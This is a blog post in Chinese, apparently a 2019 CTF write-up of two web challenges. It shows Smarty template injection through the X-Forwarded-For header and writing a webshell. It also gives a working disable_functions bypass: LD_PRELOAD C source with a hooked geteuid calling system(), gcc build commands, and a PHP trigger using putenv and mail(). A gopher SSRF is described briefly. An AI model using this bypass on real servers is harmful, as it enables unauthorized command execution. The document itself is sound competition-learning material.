感谢欣蕾姐姐提供的旅游机会。可惜队里没有pwn手,看着天枢AK了在那坐了半天。

smarty

XFF下存在ssti。

题目名提示是smarty模板。找了一下发现这个模板可以这样执行php内置函数:
前面是参数,后面是函数名(后来发现直接正常写php代码也是可以的)

其他参数可以这样写

然后可以通过这个来写入shell(注意单引号双引号)。

然后发现禁用了一些函数,并且php不能读web以外的目录。
这里用环境变量LD_PRELOAD绕过disable_function。
首先写一个c文件然后编译成so。
gcc -c -fPIC aaa.c -o aaa
gcc --share aaa -o aaa.so

aaa.c:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
        system("cat flag > /var/www/html/flag");
}

int  geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();

然后写一个php文件
aaa.php:

<?php
putenv("LD_PRELOAD=/var/www/html/aaa.so");
mail("[email protected]","","","","");
?>

访问后web目录下就会生成一个flag文件,就可以获得flag了。


web2_web_ze

这题主办方不小心把真正的源码放出来了,本来要登录admin才能看到hint,结果直接就看到了。
打开hint的文件,查看源码,是要用gopher协议的ssrf

然后在目录下看到一个只能本地访问的shell,直接读flag。(payload要两次url编码)

Last modification:October 3rd, 2019 at 01:26 am
If you think my article is useful to you, please feel free to appreciate